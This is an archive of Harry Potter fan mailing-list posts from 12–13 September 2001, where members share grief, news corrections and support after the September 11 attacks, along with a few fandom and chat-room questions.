From borg3892000 at yahoo.com  Wed Sep 12 17:44:34 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Wed, 12 Sep 2001 17:44:34 -0000
Subject: My Brothers and Sisters ... + news from Canada
In-Reply-To: <20010912135818.66231.qmail@web14604.mail.yahoo.com>
Message-ID: <9no6u2+nf3b@eGroups.com>

No: HPFGUIDX 26012

--- In HPforGrownups at y..., Sheryll Townsend <s_ings at y...> wrote:
> 
> I will continue to pray for all of you in the US.
> Please know that my thoughts are with you.
> 
> One of our Canadian TV channels now says that CNN has
> confirmed 3 aircraft heading for Western Canada
> (despite the fact that North American airspace is
> closed) and that CR-18 aircraft have been sent out to
> investigate. DND (Dept of National Defence) has not
> been able/willing to confirm or deny this report. 
> 

According to CNN:
Reports of three suspicious aircraft over Canada were checked out by 
Canadian authorities and found to be untrue, according to U.S. 
officials. Concern about the matter was prompted by a Canadian pilot 
who reported -- erroneously as it turned out -- that he was being 
followed by three other aircraft.




From borg3892000 at yahoo.com  Wed Sep 12 17:46:38 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Wed, 12 Sep 2001 17:46:38 -0000
Subject: Yesterday's events
In-Reply-To: <9nnrou+f1v9@eGroups.com>
Message-ID: <9no71u+3216@eGroups.com>

No: HPFGUIDX 26013

--- In HPforGrownups at y..., "Sofie " <sofie_elisabeth at y...> wrote:
> --- In HPforGrownups at y..., "Alexandra Y. Kwan" <litalex at y...> wrote:
> > Hello,
> > 
> > From: "Sofie " <sofie_elisabeth at y...>
> > > Pittsburg (heading for Camp David?)but nothing about Boston. 
What
> > > happened?
> > 
> > Buildings were evacuated, but *nothing* was bombed in Boston.  
CNN, 
> BBC, or
> > any of the major news networks should have the information.
> > 
> > little Alex
> > 
> Thanks for telling me. I was worried as I have relatives in Boston.

I believe the only situation with Boston is that the planes that hit 
the World Trade Center originated from Boston.




From borg3892000 at yahoo.com  Wed Sep 12 17:51:19 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Wed, 12 Sep 2001 17:51:19 -0000
Subject: Dorms
In-Reply-To: <9nnsge+fcj5@eGroups.com>
Message-ID: <9no7an+11v6@eGroups.com>

No: HPFGUIDX 26014

--- In HPforGrownups at y..., "Sofie " <sofie_elisabeth at y...> wrote:
> --- In HPforGrownups at y..., Vicky DeGroote <degroote at a...> wrote:
> > I meant to type 1000 students at Hogwarts, not 100.  I've read al 
> ot of this about how many students, but maybe didn't get far enough 
> to read abou the dorms.
> > 
> > Oops-sorry
> > Kitty
> > 
> Personally I prefer Angie J's theory thta Harry's year is small due 
> to the war. People of child-bearing age were fighting and a lot of 
> them were probably killed. That leaves less people to have children 
> and so then you get less children (from magical families anyway).

I've been wondering about this for a while, myself.

In reading COS again, (for the umpteenth time), it hit me that 
perhaps the houses aren't the same size.  I've always assumed that 
Gryffindor had 1/4th the students of each class. It could be that the 
bulk of the student population is in Ravenclaw and Hufflepuff, with a 
small segment for Gryffindor and Slytherin.

It makes me think of a parabolic curve, with the rarer personality 
types in Gryffindor and Slytherin.




From s_ings at yahoo.com  Wed Sep 12 18:02:10 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Wed, 12 Sep 2001 11:02:10 -0700 (PDT)
Subject: [HPforGrownups] Re: My Brothers and Sisters ... + news from Canada
In-Reply-To: <9no6u2+nf3b@eGroups.com>
Message-ID: <20010912180210.79598.qmail@web14605.mail.yahoo.com>

No: HPFGUIDX 26016


--- borg3892000 at yahoo.com wrote:
> --- In HPforGrownups at y..., Sheryll Townsend
> <s_ings at y...> wrote:
> > 
> > I will continue to pray for all of you in the US.
> > Please know that my thoughts are with you.
> > 
> > One of our Canadian TV channels now says that CNN
> has
> > confirmed 3 aircraft heading for Western Canada
> > (despite the fact that North American airspace is
> > closed) and that CR-18 aircraft have been sent out
> to
> > investigate. DND (Dept of National Defence) has
> not
> > been able/willing to confirm or deny this report. 
> > 
> 
> According to CNN:
> Reports of three suspicious aircraft over Canada
> were checked out by 
> Canadian authorities and found to be untrue,
> according to U.S. 
> officials. Concern about the matter was prompted by
> a Canadian pilot 
> who reported -- erroneously as it turned out -- that
> he was being 
> followed by three other aircraft.
> 
According to the Canadian gov't, they were, in fact, 3
planes leaving Canada to lend support to the US. They
ended up with an escort of CF-18s. That will teach
them not to follow proper procedure when they get
permission to fly! Thankfully, nothing to be alarmed
about.

Sheryll

__________________________________________________
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Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
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From starling823 at yahoo.com  Wed Sep 12 18:06:08 2001
From: starling823 at yahoo.com (Starling)
Date: Wed, 12 Sep 2001 14:06:08 -0400
Subject: My Brothers and Sisters ... the fireman's prayer
References: <1000311303.5034.42284.l6@yahoogroups.com>
Message-ID: <003701c13bb5$99d0c580$c574e280@cc.binghamton.edu>

No: HPFGUIDX 26017

Hello everyone...

i'm at college in upstate NY -- Binghamton University.  Over half our campus
is from NYC/LI.  We are walking around dazed and scared, and every time a
phone rings people start and wonder if it is good news -- someone's
parents/siblings/friends are alive -- or they're missing.  Or worse...

My father is in the police dept.  on Long Island, and he's a volunteer
firefighter.  Some of his colleagues are professional FDers in NYC in
addition to being volunteers at home.  Some of them were apparently in the
first squads into the site.  Some of them will not come home.  I love these
guys -- a lot of them are rough, and boisterous, and a bit raw.  They see a
lot of bad things, but they were always beyond kind to my siblings and
myself -- sneaking us pizza and candy at fireman's events, piggyback rides,
letting us look at all the trucks and equipment, try on their boots and
their coats and helmets...

i do not want to believe that all this has happened.  I keep hoping that
this is just a bad dream.  but it's not.

i don't know how familiar any of you are with the fireman's prayer.  i've
been reciting it to myself since yesterday.
the police and the firemen and the EMTs are heroes.    Every last one of
them, and I thank whatever power that protects us that these men and woman
are there.

A Fireman's Prayer

When I am called to duty, God, wherever flame may rage,
Give me strength to save some life, whatever be its age.

Help me embrace a little child, before it is too late,
Or save an older person from, the horror of that fate.

Enable me to be alert and hear the weakest shout,
And quickly and efficiently, to put the fire out.

I want to fill my calling, and to give the best in me,
To guard my every neighbor, and protect his property.

And if according to my fate, I am to lose my life,
Please Bless with your protecting hand, my children
and my wife.

-Author Unknown

Abbie, who is still in shock today, and wishes her hands would stop
quivering.

starling823 at yahoo.com
69% obsessed with HP and loving it
"Ah, music," Dumbledore said, wiping his eyes.  "A magic beyond all we do
here!"
          -HP and the Sorcerer's Stone


_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From borg3892000 at yahoo.com  Wed Sep 12 18:21:36 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Wed, 12 Sep 2001 18:21:36 -0000
Subject: My Brothers and Sisters ... + news from Canada
In-Reply-To: <20010912180210.79598.qmail@web14605.mail.yahoo.com>
Message-ID: <9no93g+2hmf@eGroups.com>

No: HPFGUIDX 26018

--- In HPforGrownups at y..., Sheryll Townsend <s_ings at y...> wrote:
> 
> --- borg3892000 at y... wrote:
> > 
> > According to CNN:
> > Reports of three suspicious aircraft over Canada
> > were checked out by 
> > Canadian authorities and found to be untrue,
> > according to U.S. 
> > officials. Concern about the matter was prompted by
> > a Canadian pilot 
> > who reported -- erroneously as it turned out -- that
> > he was being 
> > followed by three other aircraft.
> > 
> According to the Canadian gov't, they were, in fact, 3
> planes leaving Canada to lend support to the US. They
> ended up with an escort of CF-18s. That will teach
> them not to follow proper procedure when they get
> permission to fly! Thankfully, nothing to be alarmed
> about.
> 

That will teach me to believe CNN. ;)

** It was published on the Internet, so it must be true. **




From muggle-reader at angelfire.com  Wed Sep 12 18:25:10 2001
From: muggle-reader at angelfire.com (Demelza Douglas)
Date: Wed, 12 Sep 2001 11:25:10 -0700
Subject: Donating an image
Message-ID: <IMEOKECFBMIPAAAA@angelfire.com>

No: HPFGUIDX 26019

 Hi,

I made this image up last night and placed it on my website, The Hogwarts Primer.

http://www.yahoo.com/howartsprimer

If the Group wants to use it, go ahead. You have my permission to use it. Also anyone in the Group can use it too.

Demelza

--

On Wed, 12 Sep 2001 00:23:20  
 Amy Z wrote:



Get 250 color business cards for FREE!
http://businesscards.lycos.com/vp/fastpath/

[Non-text portions of this message have been removed]




From hermione at pigwidgeon.f9.co.uk  Wed Sep 12 19:02:22 2001
From: hermione at pigwidgeon.f9.co.uk (Hermione)
Date: Wed, 12 Sep 2001 20:02:22 +0100
Subject: [HPforGrownups] Donating an image
References: <IMEOKECFBMIPAAAA@angelfire.com>
Message-ID: <001f01c13bbd$7f2d0880$c500a8c0@mshome.net>

No: HPFGUIDX 26020

The link doesn't work!!

It says Yahoo! - Document Not Found

----- Original Message -----
From: "Demelza Douglas" <muggle-reader at angelfire.com>
To: <HPforGrownups at yahoogroups.com>
Sent: Wednesday, September 12, 2001 7:25 PM
Subject: [HPforGrownups] Donating an image


> Hi,
>
> I made this image up last night and placed it on my website, The Hogwarts
Primer.
>
> http://www.yahoo.com/howartsprimer
>
> If the Group wants to use it, go ahead. You have my permission to use it.
Also anyone in the Group can use it too.
>
> Demelza
>
> --
>
> On Wed, 12 Sep 2001 00:23:20
>  Amy Z wrote:
>
>
>
> Get 250 color business cards for FREE!
> http://businesscards.lycos.com/vp/fastpath/
>
> [Non-text portions of this message have been removed]
>
>
>
> _______ADMIN________HPFGU_______ADMIN__________
>
> Attention everyone! Before posting, you must read our netiquette tips at
>
http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/netiquetteTI
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>
> You should also read the Very Frequently Asked Questions file (VFAQ) at
> http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/VFAQ.htm
and check out our FAQ-based essays at:
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>
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>




From Indyfans at aol.com  Wed Sep 12 18:50:54 2001
From: Indyfans at aol.com (Indyfans at aol.com)
Date: Wed, 12 Sep 2001 14:50:54 EDT
Subject: Fwd: Canadian support of USA-heartwarming
Message-ID: <14c.e4838a.28d1088e@aol.com>

No: HPFGUIDX 26021

 


[Non-text portions of this message have been removed]




From rainy_lilac at yahoo.com  Wed Sep 12 20:16:03 2001
From: rainy_lilac at yahoo.com (rainy_lilac at yahoo.com)
Date: Wed, 12 Sep 2001 20:16:03 -0000
Subject: Yesterday's events
In-Reply-To: <9no71u+3216@eGroups.com>
Message-ID: <9nofq3+9d4k@eGroups.com>

No: HPFGUIDX 26022

--- In HPforGrownups at y..., borg3892000 at y... wrote:
> --- In HPforGrownups at y..., "Sofie " <sofie_elisabeth at y...> wrote:
> > --- In HPforGrownups at y..., "Alexandra Y. Kwan" <litalex at y...> 
wrote:
> > > Hello,
> > > 
> > > From: "Sofie " <sofie_elisabeth at y...>
> > > > Pittsburg (heading for Camp David?)but nothing about Boston. 
> What
> > > > happened?
> > > 
> > > Buildings were evacuated, but *nothing* was bombed in Boston.  
> CNN, 
> > BBC, or
> > > any of the major news networks should have the information.
> > > 
> > > little Alex
> > > 
> > Thanks for telling me. I was worried as I have relatives in 
Boston.
> 
> I believe the only situation with Boston is that the planes that 
hit 
> the World Trade Center originated from Boston.

The downtown financial center was pretty much evacuated. Scary, but 
no bombs going off.

Today however they arrested three people at the Westin Copley Hotel. 

Scary. I am still in shock.


--Suzanne 




From hyria at yahoo.com  Wed Sep 12 19:48:33 2001
From: hyria at yahoo.com (=?iso-8859-1?q?Catriona?=)
Date: Wed, 12 Sep 2001 20:48:33 +0100 (BST)
Subject: The reaction from London
Message-ID: <20010912194833.77863.qmail@web14003.mail.yahoo.com>

No: HPFGUIDX 26023

There are so many things I want to say to you guys but
most of them are hopelessly inadequate.

I walked through the City of London today, through the
square mile as I so often do and people were subdued,
apprehensive. A lot of us are missing people we've
only ever known as a voice over a trading line. 

But a voice, just like an e-mail can tell you a lot
about a person; and when contact is daily ... well you
know what I mean!

On my way home I went via the US Embassy and left some
flowers and a note along with the other tributes that
have been flooding in. 

I am distraught, for the voices and for the others. 

Nothing has ever hit me like this before, not even the
death of my father.

I cannot even imagine how those of you who are missing
close relatives are feeling ... please, just know that
we are feeling for you.

I am in awe of the rescue workers; I don't think I
would have had the courage to even enter that building
and TRY.

Best wishes

Catriona



=====
~Catriona~

79% Obsessed, 100% Slytherin.

____________________________________________________________
Do You Yahoo!?
Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk
or your free @yahoo.ie address at http://mail.yahoo.ie



From Indyfans at aol.com  Wed Sep 12 21:05:46 2001
From: Indyfans at aol.com (Indyfans at aol.com)
Date: Wed, 12 Sep 2001 17:05:46 EDT
Subject: [HPforGrownups] The reaction from London
Message-ID: <a5.1b583f6b.28d1282a@aol.com>

No: HPFGUIDX 26024

Catriona, it means so much to us here in the US to have your support and 
concern.  Your country has always been a pillar of strength, support, and 
decency.  I have relatives in England, and I, too, have walked the streets of 
London. There is a bond between our countries that will never be broken.   
Thank you doesn't seem adequate, but there is a thankfulness in our hearts 
that transcends words.  Jennifer 



From avatar7 at uole.com.ve  Wed Sep 12 21:05:52 2001
From: avatar7 at uole.com.ve (Juan Carlos De La Cruz)
Date: Wed, 12 Sep 2001 17:05:52 -0400
Subject: [HPforGrownups] Re: Can't find Vanity Fair
In-Reply-To: <9nmh6s+4ss2@eGroups.com>
References: <9nmh6s+4ss2@eGroups.com>
Message-ID: <01091217055203.03225@sysop>

No: HPFGUIDX 26025

Hello again!!

It is the October Issue, as far as I am concerned. :)

You can happily send it to 
Juan Carlos De La Cruz
Pakmail 13028
P.O. Box N? 02 5304
Miami - Florida 33102-5304


Also I would like to state, in my search of "All things Harry", I 've found 
an interesting website named "hpwizardstore.com" in which I've found some 
interesting items (Not to mention the 3-D Hogwart's mouse pad I had to buy 
elsewhere...) but then, when I was finally headed to "Check out", I've  found 
they have some error on their ASP programming that wouldn let me finishing my 
purchase from them. 

I've sent them an e-mail explaining the failure detected and asking them for 
help, since it would stop their customers to place orders, not only mine.

My request would be.. if there are any other sysAdmins subscribed to this 
list as me, maybe we could try contacting them together and ask them to fix 
their problem (Hell, I wanted some items so bad I would even offer myself to 
do so... online of course!. :)

It would be nice to know as well how many of us are "deeply involved" in 
networks activities. :) After all, how many times would you like to scream 
"Expecto Patronum" to one of those damn blue error screens? :) (Not me. Use 
Linux instead!!)

All yours with my very best wishes and regards...

Juan Carlos De La Cruz.

-- 

---------------------*
| System Operator                 *
| IFX Networks de Venezuela *
|         ifxnw.com.ve               *
| sysop at ifxnw.com.ve            *
|          ~@~                         *
---------------------*


On Date Tuesday 11 September 2001 10:27, You Wrote:

>
> I can't find it  either, but if I do I'll send you a copy, Juan...
> is it the August issue or the September issue?
>



From avatar7 at uole.com.ve  Wed Sep 12 21:17:37 2001
From: avatar7 at uole.com.ve (Juan Carlos De La Cruz)
Date: Wed, 12 Sep 2001 17:17:37 -0400
Subject: [HPforGrownups] Re: Terrorist Bombing
In-Reply-To: <9nnnrt+iusa@eGroups.com>
References: <9nnnrt+iusa@eGroups.com>
Message-ID: <01091217173704.03225@sysop>

No: HPFGUIDX 26026



On Date Wednesday 12 September 2001 09:27, You Wrote:
> I am sure that most anyone in this country would trade their life if
> it meant preventing even one of these hijacked planes.   Oh, what I
> wouldn't give for a time-turner today, even if it meant spending the
> rest of my life in askaban for breaking wizard law and interfering.
> If I didn't know better, I would suspect You-Know-Who was behind this.


That exactly what I kept thinking since Yesterday!! At least someone else is 
also thinking Mr. V. could be behind all this!!

After all, he came back with renewed strongness, as far as I can remember 
from the ending of Book 4 !!!!!!

------------------------------
Juan Carlos De La Cruz.
DeGoPro.com General Manager.
SysOp.Tech and Op Dept.
IFX Networks Venezuela

Profesionnal Musician and Composer.
Proud Hogwarts student at Ravenclaw.

"Ah, music," Dumbledore said, wiping his eyes.  "A magic beyond all we do
here!"
          -HP and the Sorcerer's Stone



From keegan at mcn.org  Wed Sep 12 21:22:24 2001
From: keegan at mcn.org (Catherine Keegan)
Date: Wed, 12 Sep 2001 14:22:24 -0700
Subject: URL relief
In-Reply-To: <01091217055203.03225@sysop>
References: <9nmh6s+4ss2@eGroups.com>
 <9nmh6s+4ss2@eGroups.com>
Message-ID: <4.2.0.58.20010912141705.00a2e600@mail.mcn.org>

No: HPFGUIDX 26027

Juan,
Thanks for the hpwizardstore.com URL.  After all of the horror of 
yesterday, it was a nice break to just play around on the web.

While it isn't exactly a solution, I recommend a time out from the sheer 
awfulness and give yourself a light moment.  I found myself glued to the TV 
yesterday, becoming increasingly panicked as the saber-rattling got louder 
and louder.  Let us not forget the fallen but let us keep ourselves sane, 
too.

Catherine in California

Albion Works
Furniture, Clothing, and Accesories
For the Medievalist!
www.albionworks.net



From caliburncy at yahoo.com  Wed Sep 12 21:45:53 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Wed, 12 Sep 2001 21:45:53 -0000
Subject: Is Everyone OK?
In-Reply-To: <9nl92r+tstr@eGroups.com>
Message-ID: <9nol2h+4t1a@eGroups.com>

No: HPFGUIDX 26028

Responding to some concern since I hadn't posted to the list and no 
one really knew where I lived: I am okay--better off than many are 
right now, I'm sure.  I live in a suburb of Chicago and therefore had 
little direct involvement with this, except to sit spellbound and 
horrified in front of the news as much of it was occuring.  I checked 
on the list briefly yesterday, but not long enough to post anything, 
which I probably ought to have done.  I was relieved when I visited 
that everyone here was alright, though understandably shaken.

But I also want to say that when I checked here yesterday I was not 
only filled with relief at the safety of you all, but a certain sense 
of pride for the people on this list.  This is more than just a great 
discussion list; it is also a very caring and warm community and I am 
quite proud to consider myself a part of it.

As long as people who have never even met can be so filled with 
compassion and love for each other than I think we are winning the war 
against this sort of hate and violence in a more vital and wondrous 
way than any military action could ever do.  Yesterday's events upset 
me greatly, but the response has only served to strengthen and 
reaffirm my faith in people.

Adding my thoughts and prayers for all those involved,
Luke




From michelleapostolides at lineone.net  Wed Sep 12 21:21:40 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Wed, 12 Sep 2001 22:21:40 +0100
Subject: Chat room open. 
Message-ID: <003f01c13bd0$eb051620$e24a063e@tmeltcds>

No: HPFGUIDX 26029

Just so you know there is a chat room open if you want to talk.

If you have Yahoo messenger, put my name in and follow me in there. If
you have problems, IM me and I'll see what I can do.

Michelle






From megrose_13 at yahoo.com  Wed Sep 12 22:13:05 2001
From: megrose_13 at yahoo.com (Meg Therese Elizabeth-Rose, but Meg Rose for short!!)
Date: Wed, 12 Sep 2001 22:13:05 -0000
Subject: Discussions and well wishes
In-Reply-To: <20010912033003.60604.qmail@web14604.mail.yahoo.com>
Message-ID: <9nomlh+8s68@eGroups.com>

No: HPFGUIDX 26030

I know this should really go on the off topic chatter, but oh 
well...  Forgive me...

I live an hour north of NYC and I go to school about 30 min north.  
Many of my friends live in Yonkers and the Bronx, which is even 
closer.  We were all shaken up about this and extremely shocked.  So 
many people in my school left early (I included) because #1, bus and 
train service were brought to a complete halt, and #2, to rush home 
and make sure all of their loved ones were safe.  My mom's co-
worker's cousin worked on the 89th floor of tower 1 and he was 
unfortunately present at the time.  2 Weeks earlier, his wife had 
left him to care for his 3 small children.  He called home to his 
mother from his cell phone from the burning/collapsing building 
saying, "Hi, mom?  I just wanted to let you know that I'm not gonna 
make it.  Take care of my kids and tell them that I love them."  The 
phone then got disconnected...  I'm not really sure why I am telling 
you guys all of this, but I guess it's just mainly to tell you all to 
keep us in your prayers.  I thank you all for all of the support you 
have already shown.  Thanks again.

Meg Rose




From ohtoresonate at yahoo.com  Wed Sep 12 22:18:35 2001
From: ohtoresonate at yahoo.com (ohtoresonate at yahoo.com)
Date: Wed, 12 Sep 2001 22:18:35 -0000
Subject: OT: Venting (very long) [and intro]
In-Reply-To: <9nnuck+4pfu@eGroups.com>
Message-ID: <9nomvr+e01t@eGroups.com>

No: HPFGUIDX 26031

< de-lurking, I introduce myself at the end of this post >

--- In HPforGrownups at y..., blpurdom at y... wrote:

< snip >

> I noticed a baby picture of my daughter that I'd left lying on the 
> dresser.  I just stood there staring at it and crying, as though
she 
> were one of the victims in New York or Washington or on the plane 
> that went down near Pittsburgh.  

<sharp intake of breath>  Wow.  That reminds me of a shot in the 
movie Titanic, when we see the still-perfect porcelain face of some 
unfortunate soul's baby doll on the ocean floor.  Not only did I for
a split second thought it was actually a live baby, the thought that 
followed, that some child probably once cradled the doll in her arms, 
imitating her own mother, really had a viceral impact on me at my 
first viewing of that film, knowing Titanic's fate.

Many of the earliest CNN comments about the iconic power of the WTC 
towers as symbols of our invincibility also reminded me of that 
"unsinkable" ocean liner...and Percy Bysshe Shelley's "Ozymandias."

< snip >

> While that was 
> better (no garish logos, no dramatic music) Chris still couldn't 
help 
> noticing that these people who were getting "face-time" seemed 
> inordinately pleased with themselves for doing so.

I had the hardest time watching the Columbine High shootings
coverage for the same reason: that even 5 seconds of nameless, 
national fame was enough make some of the kids giddy...giddy 
enough to forget the lifetimes of grief that just befell members 
of their own community.  Their leering faces that kept popping in 
and out of screen in the background during interviews say so much...

> I was particular disturbed, however, by folks bringing up Pearl 
> Harbor and the US response to it.  The talking head in question 
> seemed very eager for the US to make a similar response now.  I was 
> very scared by this because one of the responses the US made to 
Pearl 
> Harbor was to put all American residents--citizens or not--of 
> Japanese descent into internment camps.  I dread the backlash which 
> is likely to come against Moslem and/or Arabic people in the US.  

I watched one of the families in my apartment complex fled with 
hastily packed boxes and ashen faces.  I didn't have the heart to ask 
them what was wrong.  Having heard on the radio about Muslim groups 
receiving death threats, I can only wish the young couple well.  They 
were cordial neighbors and didn't deserve to have their fellow 
Americans, in the name of nationalism, terrorize them in turn when 
they had nothing to do with terrorism.  On the other hand, I am
having the hardest time squashing the hope that once positively 
identified, the Masterminds-Who-Must-Not-Be-Named behind these 
terrors get decimated, despite my usual pacifist stance.

> What kind of rift in the 
> fabric of our culture is coming as a result of these events?

It is impossible not to see the parallels between current events and 
the books that brought us all together.  If we consider Wormtail to
be terrorist-like, is there a Sirius here?  I don't suppose that is
clear yet.  Considering that JKR is still in the process of writing 
the rest of the books, I wonder if and how her writing will be 
affected by what's happened, what may happen, and her countrymen's 
reactions to all this.  Hey, now I'm back on topic!

Oh To Resonate  < - - - never enough free time so it's back to 
lurking she goes

P.S. I owe this group an intro, no?

I live in southern California, was an English major in college, loves 
theatre, and my dream job would be to read for a living.  ;)

I have plans to attend a wedding in Edinburgh, Scotland.  For real
? the groom's name is *not* Sirius.  But at this point, I'm not 
sure I can go near an airport, much less go on a trans-Atlantic 
flight; otherwise, I'd offer to send postcards from JKR's 
hometown.  This *would* have been my first trip to Europe...


"The moment they start trying to move into each other's [pants],
we'll know they're fully mature," Professor Sprout told Harry 
[uhm...sort of] of the Mandrakes who had just threw their version 
of a kegger in CoS.   











From opaldragonfly at yahoo.com  Wed Sep 12 22:39:33 2001
From: opaldragonfly at yahoo.com (opaldragonfly at yahoo.com)
Date: Wed, 12 Sep 2001 22:39:33 -0000
Subject: Dumbledore's Advice
Message-ID: <9noo75+8udq@eGroups.com>

No: HPFGUIDX 26032

Dear All--I, too, want to say thank you to all the expressions of 
care and concern (I live about three hours northwest of NYC and was 
born in Washington, D.C.).  In return, let me say that we know that 
many of you live in countries which have been "attacked" in similar 
fashion (by whatever maniacal group thinks that getting its point 
across is worth taking Life) and your steadfastness in the face of 
such terror should serve as a model for us in the USA.  For, it is as 
Dumbledore says.  If each of us does whatever small thing we can to 
stand for "normalcy" and love, and not give in to hate and fear, then 
it will be that much more difficult for such Evil to conquer us, and 
perhaps through our constancy in acting Good, we will conquer it.  
Opal Dragonfly




From fyregirl at cfl.rr.com  Wed Sep 12 23:17:55 2001
From: fyregirl at cfl.rr.com (M. Barnett)
Date: Wed, 12 Sep 2001 23:17:55 -0000
Subject: I don't get it ....
Message-ID: <9noqf3+53ni@eGroups.com>

No: HPFGUIDX 26033

how do I get into chat?  




From michelleapostolides at lineone.net  Wed Sep 12 23:21:22 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Thu, 13 Sep 2001 00:21:22 +0100
Subject: [HPforGrownups] I don't get it ....
References: <9noqf3+53ni@eGroups.com>
Message-ID: <009e01c13be1$a2e9db80$e24a063e@tmeltcds>

No: HPFGUIDX 26034

| how do I get into chat?  

Do you have yahoo messenger or Cheeta ?

Michelle




From lostkitty at zwallet.com  Thu Sep 13 06:24:09 2001
From: lostkitty at zwallet.com (LostKitty)
Date: Thu, 13 Sep 2001 01:24:09 -0500 (CDT)
Subject: [HPforGrownups] Yesterday's events
Message-ID: <200109130624.f8D6O9j90887@web.zwallet.com>

No: HPFGUIDX 26035

Sofie said:
I live in England, so all I know about yesterday's terrorist attack 
is what I hear on the news. I've been looking at the posts on this 
topic and I was wondering what happened in Boston. We've heard about 
the World Trades Centre and about the Pentagon and about the one in 
Pittsburg (heading for Camp David?)but nothing about Boston. What 
happened?
Sofie (English and terrified too)

Here's me:
Two of the hijacked planes took off from the Boston airport.  Consequently many Boston citzens were on the planes and Boston is more directly involved than most areas (aside from where the planes crashed, of course).

I'd like to remind everyone about the fourth plane that crashed.  It too would have crashed into a building if not for the passengers.  Through cell phones they found out about the 3 other planes that had been hijacked and crashed into buildings.  The passengers attacked the hijackers so they couldn't crash their plane into a building too.  They were successful, but still died when the plane crashed off target in the small town of Somerset, Pennslyvania.  We'll never know how many lives they saved.

Sandey >^..^<
Sandey >^..^<

The Easiest Way to Get Paid... Get Paid to Email!
http://www.zwallet.com/join.html?user=lostkitty


______________________________________________________
Get Paid... With Your Free Email at
http://www.zwallet.com/index.html?user=lostkitty




From shall at sfiweb.demon.co.uk  Wed Sep 12 23:49:59 2001
From: shall at sfiweb.demon.co.uk (Susan Hall)
Date: Thu, 13 Sep 2001 00:49:59 +0100
Subject: [HPforGrownups] Thanks from New York City
In-Reply-To: <9no6l5+nj1o@eGroups.com>
Message-ID: <NCBBLOIDFHFLKCOIHJBKMEBBDNAA.shall@sfiweb.demon.co.uk>

No: HPFGUIDX 26036

>Mayor Giuliani has advised us all to just get back to our lives and go
about things normally.  He is NOT a mayor I support, but he has been
f>antastic throughout this and he is right; we need to be strong and
not let whoever did this get the best of us. I have faith in New >
>Yorkers that we can all get through this.


You have all been absolute stars (especially, of course, your fire and
ambulance departments, for whom we are lighting candles and to whom our
hearts go out) and your mayor (even if you didn't vote for him) is a
superstar (co-ordinating  the whole thing while having  cancer and a major
divroce scandal gets *extra* points in Wicked Europe, I'm afraid).

Susan





From shall at sfiweb.demon.co.uk  Thu Sep 13 00:29:09 2001
From: shall at sfiweb.demon.co.uk (Susan Hall)
Date: Thu, 13 Sep 2001 01:29:09 +0100
Subject: [HPforGrownups] Yesterday's events
In-Reply-To: <200109130624.f8D6O9j90887@web.zwallet.com>
Message-ID: <NCBBLOIDFHFLKCOIHJBKIEBFDNAA.shall@sfiweb.demon.co.uk>

No: HPFGUIDX 26037

>The passengers attacked the hijackers so they couldn't crash their plane
into a building too.  They were successful, but still died when the plane
crashed off target in the small town of Somerset, Pennslyvania.  We'll
<never know how many lives they saved.

"Upon such sacrifices the gods themselves throw incense..."



Susan






From Indyfans at aol.com  Thu Sep 13 01:00:57 2001
From: Indyfans at aol.com (Indyfans at aol.com)
Date: Wed, 12 Sep 2001 21:00:57 EDT
Subject: [HPforGrownups] Penseive please
Message-ID: <10c.56c3824.28d15f49@aol.com>

No: HPFGUIDX 26038

I wish I could use Dumbledore's pensieve and unburden my mind of the last 2 
days, wouldn't that be a blessing.  Jennifer



From joym999 at aol.com  Thu Sep 13 01:11:01 2001
From: joym999 at aol.com (Joy M)
Date: Thu, 13 Sep 2001 01:11:01 -0000
Subject: Thanks from New York City AND Washington
In-Reply-To: <9no6l5+nj1o@eGroups.com>
Message-ID: <9np135+10h1o@eGroups.com>

No: HPFGUIDX 26039

I also want to thank everyone for their support.  When I first posted 
about what was going on yesterday, I was in a state of shock and near 
panic.  All the supportive comments and emails I received from HP4GU-
ers really made me feel part of a caring community.  Like most people 
in the U.S., if not the world, I spent yesterday (when I wasn't glued 
to the tv) talking on the phone and exchanging email with friends and 
family, and also like most people it was the support and concern I 
received that help me get thru the day.  You are a wonderful, caring 
bunch of people -- please pat yourselves on the back.

I am feeling so grateful for the existence of HP4GU that I am going 
to relent and let David Frankis join L.O.O.N.

--Joywitch, who is calming down in Washington, DC 




From fyregirl at cfl.rr.com  Thu Sep 13 01:19:45 2001
From: fyregirl at cfl.rr.com (M. Barnett)
Date: Thu, 13 Sep 2001 01:19:45 -0000
Subject: I don't get it ....
In-Reply-To: <009e01c13be1$a2e9db80$e24a063e@tmeltcds>
Message-ID: <9np1jh+kedu@eGroups.com>

No: HPFGUIDX 26040

--- In HPforGrownups at y..., "Michelle Apostolides" 
<michelleapostolides at l...> wrote:
> | how do I get into chat?  
> 
> Do you have yahoo messenger or Cheeta ?
> 
> Michelle

none of the above?  I don't know ... I just clicked on the chat link, 
and that obviously isn't it :)

Michelle ;)




From s_ings at yahoo.com  Thu Sep 13 01:28:13 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Wed, 12 Sep 2001 18:28:13 -0700 (PDT)
Subject: [HPforGrownups] Re: Thanks from New York City AND Washington
In-Reply-To: <9np135+10h1o@eGroups.com>
Message-ID: <20010913012813.71285.qmail@web14604.mail.yahoo.com>

No: HPFGUIDX 26041


--- Joy M <joym999 at aol.com> wrote:
> I also want to thank everyone for their support. 
> When I first posted 
> about what was going on yesterday, I was in a state
> of shock and near 
> panic.  All the supportive comments and emails I
> received from HP4GU-
> ers really made me feel part of a caring community. 
> Like most people 
> in the U.S., if not the world, I spent yesterday
> (when I wasn't glued 
> to the tv) talking on the phone and exchanging email
> with friends and 
> family, and also like most people it was the support
> and concern I 
> received that help me get thru the day.  You are a
> wonderful, caring 
> bunch of people -- please pat yourselves on the
> back.
> 
> I am feeling so grateful for the existence of HP4GU
> that I am going 
> to relent and let David Frankis join L.O.O.N.
> 
> --Joywitch, who is calming down in Washington, DC 
> 
You may very well still be in a state of shock if
